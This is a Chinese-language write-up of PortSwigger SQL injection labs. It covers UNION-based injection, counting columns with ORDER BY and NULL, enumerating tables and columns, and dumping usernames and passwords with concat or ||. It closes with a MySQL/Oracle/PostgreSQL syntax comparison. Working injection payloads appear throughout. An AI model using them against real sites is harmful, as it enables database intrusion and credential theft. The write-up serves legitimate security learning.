image-20260908172226511

场景

一、orderby和联合查询注入的组合

portswigger靶场sql注入第三题。这里是orderby和联合查询注入的组合。

整个流程大概是这样的:

1、'单引号测试 →确认存在注入【报语法错误】

2、order by猜列数 →得知原始查询返回 2 列

这道题是通过

‘ order by 3 – 判断原始查询有多少列

【order by n 按查询结果的第n列排序】

UNION 联合查询有硬性规则:前后两个 select 返回的列数量必须一模一样。所以必须先测出原始 SQL 返回多少列。

3、union+常量字符串‘a’‘b’测试哪些列可以回显字符串。

在这里有两个作用:验证数据库(Oracle 需要 FROM dual 才不报错)、看页面输出确认哪些列是网页回显位(没有回显的就不是)

由上一步查出有两列,所以这里要构造的语句是:

查询1 UNION SELECT 字段1,字段2 FROM 表名

4、把想要查询的数据放到回显列,其余位置用常量占位,完成数据窃取。

1
category=Gifts' UNION SELECT banner,'x' FROM v$version-- 

v$version:Oracle 系统视图名字,v$是固定前缀,拿版本数据

二、union攻击获取管理员账号

image-20260908183133367

1、前面步骤类同:确认注入、确认列数、确认回显

查询当前数据库所有表名,

查表名,数据库名from所有表

1
Gifts' UNION SELECT table_name,table_schema FROM information_schema.tables-- -

这里的语法是mysql特有的。

2、mysql查所有表:

字段 含义
table_name 表的名字
table_schema 这个表属于哪个数据库(库名)

information_schema.tables → 查所有表

有时候做题可以加上where过滤减少垃圾数据

1
select table_name from information_schema.tables where table_schema=database();

3、mysql查一张表所有列:

information_schema.columns → 查询一张表全部列(字段)

字段 含义
column_name 列(字段)名字
table_name 所属表名
table_schema 所属数据库名

payload模板:

1
select column_name from information_schema.columns where table_name='users';

本题用到的是:

1
Gifts' UNION SELECT column_name,'test' FROM information_schema.columns WHERE table_name='users_lrjxkk'-- -

补充:Oracle 查表对照

查表:

1
select table_name from all_tables --

查列:

1
select column_name from all_tab_columns where tablename='a' --
image-20260908212457636

4、得到表名、字段名后读取账号密码数据

本题用到的payload:

1
2
Gifts' UNION SELECT username,password FROM users_lrjxkk-- -

找到管理员账号后通关

image-20260908213303132

总结:真实站点流程

  1. information_schema.tables → 找到 sys_user

  2. information_schema.columns where table_name=’sys_user’ → 拿到 login_namepasswd

  3. select login_name,passwd from sys_user

三、UNION 攻击-null确定查询返回的列数

image-20260908222545094

和order by区别:

方法 特点
ORDER BY N 按列号排序;报错就代表列号超出总数;不能看回显位置,只测数量
UNION SELECT NULL,NULL... 不断加 NULL;报错消失得到列数;后续还可以把 NULL 替换成字符串'a',直接看哪一列支持字符串回显

这里同样是利用了union要求前后两个select返回的列数量、数据类型必须完全一致。

NULL 占位探测列数的好处:NULL兼容几乎所有数据类型,不容易报类型错误。

四、使用 UNION 攻击手段,寻找包含特定文本的列

image-20260909150217426

这里的手法:先用null测出列数,逐个用’T9SFyD’替换null测试哪个背后是回显字符串的。

这里有个小坑,引号需要用英文。不然会语法错误。

五、union攻击,通过一个字段检索出多个值

image-20260909204451031

这里前面的流程类似:单个引号测注入,null测出列数,逐个替换测出哪些支持字符串

但是这里有个问题,就是只有第二列可以回显字符串,但是我们需要取得username和password两个字段。

这里就使用了一个拼接函数,把两个字段揉成一段文本塞进第 2 列(唯一支持字符串的列)

1
Gifts' union select null,concat(username,':',password) from users -- -

总结:

可回显的列数量 < 需要查询的字段数量,就用concat()把多个字段拼成 1 个字符串塞进可用列

concat(a,':',b)

但有以下缺点:

  • 直接写一堆字段,没有专门的分隔符参数,分隔符要手动写进去

  • 只要任意一个字段是 NULL,整个结果直接变成 NULL

也可以用concat_ws 可以统一分隔符,

concat_ws('分隔符',字段1,字段2)
1
Gifts' union select null,concat_ws(':',username,password) from users -- -

当然,这两个函数都不限制字符数,只要数据库允许的参数上限,塞多少字段都行。

username||':'||password

当然这里是PostgreSQL数据库,直接用

1
Gifts' union select null,username||':'||password from users --

也可以

变形

一、oracle和mysql的语法差别

1、select…from强制规则

Oracle

  • 所有SELECT必须有 FROM,不能直接select 1,2;
  • 没有真实表时,使用虚表 FROM dual 占位
1
2
-- Oracle合法
SELECT 'a','b' FROM dual;

MySQL

  • 允许省略 FROM,可以直接输出常量
1
2
-- MySQL合法
SELECT 'a','b';

2、–行注释

Oracle

  • 只要出现--本行剩余全部内容注释不需要后面跟空格
1
2
3
-- Oracle全部生效
select banner from v$version--'
select banner from v$version -- '

MySQL

  • --后面必须加空格,才识别注释;--'不生效,当成普通字符
1
2
3
4
-- MySQL 生效
select version() -- '
-- MySQL 无效,没有空格
select version()--'

version()调用函数,得到版本号

二、union攻击数据库语法辨析

快速区分三种数据库:

测试 payloadA:判断能不能用||拼接字符串

1
' union select 'a'||'b',null -- -
  • 返回 ab → Postgres / Oracle
  • 返回 1 → MySQL(把 || 当成 or 逻辑运算)

测试 payloadB:判断是不是 Oracle

1
' union select concat('a',':','b'),null from dual--

Oracle:concat('a',':','b') 三个参数,直接语法报错

Postgres:正常返回 a:b

Oracle concat(field1,field2) 最多两个参数,想要拼接多个,只能嵌套:

1
concat( concat(username,':'), password )

union攻击里的语法区别:

对比项 MySQL Oracle PostgreSQL
裸常量查询(无真实表) 允许直接 select 'a','b' 必须加 FROM dual select 'a','b' from dual 允许直接 select 'a','b'
|| 符号作用 逻辑或,不做字符串拼接 字符串拼接 字符串拼接
concat() 支持多参数 concat(a,':',b) 仅支持 2 个参数,多参数需要嵌套 concat(concat(a,':'),b) 支持多参数 concat(a,':',b)
concat_ws()(带分隔符拼接) ✅支持 ❌无此函数 ✅支持
查询全部表名 information_schema.tables all_tables information_schema.tables
查询表字段 information_schema.columns all_tab_columns information_schema.columns
表名字段大小写 默认大小写不敏感 返回全部大写,where 条件字符串必须大写 视建表方式,大小写敏感
-- 行注释规则 --后面必须空格才生效 --后不需要空格,本行剩余全部注释 --后不需要空格,本行剩余全部注释
# 注释 ✅支持 ❌不支持 ❌不支持
获取数据库版本 version() / @@version banner from v$version version()

踩坑

函数本身不能用单引号括住

image-20260908181539422
1
' union select version(),'b' -- -

这里我用的payload如上,然后这道题是环境换成了mysql,具体测试步骤和前面一样。不过我在这里踩了个小坑。我在测试回显的时候用的payload是’ union select ‘a’,’b’ – -

但是后面查版本的时候我图省事直接把a替换成version()了,就导致查询失败。

这里需要注意,函数本身不能用单引号括住,’b’这种是告诉数据库里面是原样文本不要执行。==函数不加单引号;写死的文字才加单引号==

补充:Oracle引号对照

Oracle 拿版本:banner from v$version banner是字段名,字段名也不加引号;只有字符串才加'xxx'

1
2
-- Oracle正确
' union select banner,'bbb' from dual--